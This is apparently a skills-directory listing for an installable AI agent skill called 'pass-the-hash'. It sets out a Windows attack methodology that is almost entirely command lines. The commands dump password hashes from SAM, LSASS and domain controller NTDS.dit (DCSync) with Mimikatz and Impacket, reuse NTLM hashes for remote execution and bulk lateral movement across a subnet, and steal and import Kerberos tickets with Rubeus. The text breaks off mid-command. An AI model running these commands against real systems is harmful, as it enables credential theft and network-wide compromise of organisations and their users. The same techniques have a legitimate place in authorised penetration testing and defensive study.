← ClaudeAtlas

pass-the-hashlisted

Pass-the-Hash (PtH) and Pass-the-Ticket (PtT) attack methodology for Windows environments. Covers hash extraction, lateral movement, credential reuse, and over-pass-the-hash (PTK).
sunilgentyala/OmniRed · ★ 0 · AI & Automation · score 63
Install: claude install-skill sunilgentyala/OmniRed
# Pass-the-Hash / Pass-the-Ticket ## Hash Extraction **From local SAM (requires SYSTEM):** ```bash # Impacket impacket-secretsdump LOCAL -sam SAM -system SYSTEM # Mimikatz (on Windows) privilege::debug lsadump::sam ``` **From LSASS memory:** ```powershell # Mimikatz privilege::debug sekurlsa::logonpasswords # Remote (if admin on target) impacket-secretsdump domain/user:password@target_ip ``` **From NTDS.dit (Domain Controller — DCSync):** ```bash impacket-secretsdump -just-dc domain/user:password@dc-ip ``` ## Pass-the-Hash (PtH) Use NTLM hash instead of plaintext password: ```bash # Impacket — SMB exec impacket-psexec -hashes :NTLM_HASH domain/administrator@target_ip # Impacket — WMI exec impacket-wmiexec -hashes :NTLM_HASH domain/administrator@target_ip # Impacket — SMB with hash impacket-smbclient -hashes :NTLM_HASH domain/user@target_ip # CrackMapExec — bulk lateral movement crackmapexec smb 10.0.0.0/24 -u administrator -H NTLM_HASH crackmapexec smb 10.0.0.0/24 -u administrator -H NTLM_HASH --local-auth ``` **Mimikatz PtH:** ``` sekurlsa::pth /user:administrator /domain:domain.local /ntlm:HASH /run:cmd.exe ``` ## Pass-the-Ticket (PtT) — Kerberos ```bash # Extract Kerberos tickets Rubeus.exe dump /nowrap # Export to file mimikatz: sekurlsa::tickets /export # Import ticket Rubeus.exe ptt /ticket:BASE64_TICKET mimikatz: kerberos::ptt ticket.kirbi # Verify klist ``` ## Over-Pass-the-Hash (OPTH) — Convert NTLM to TGT ```bash # Rubeus Rubeus.exe asktgt /user: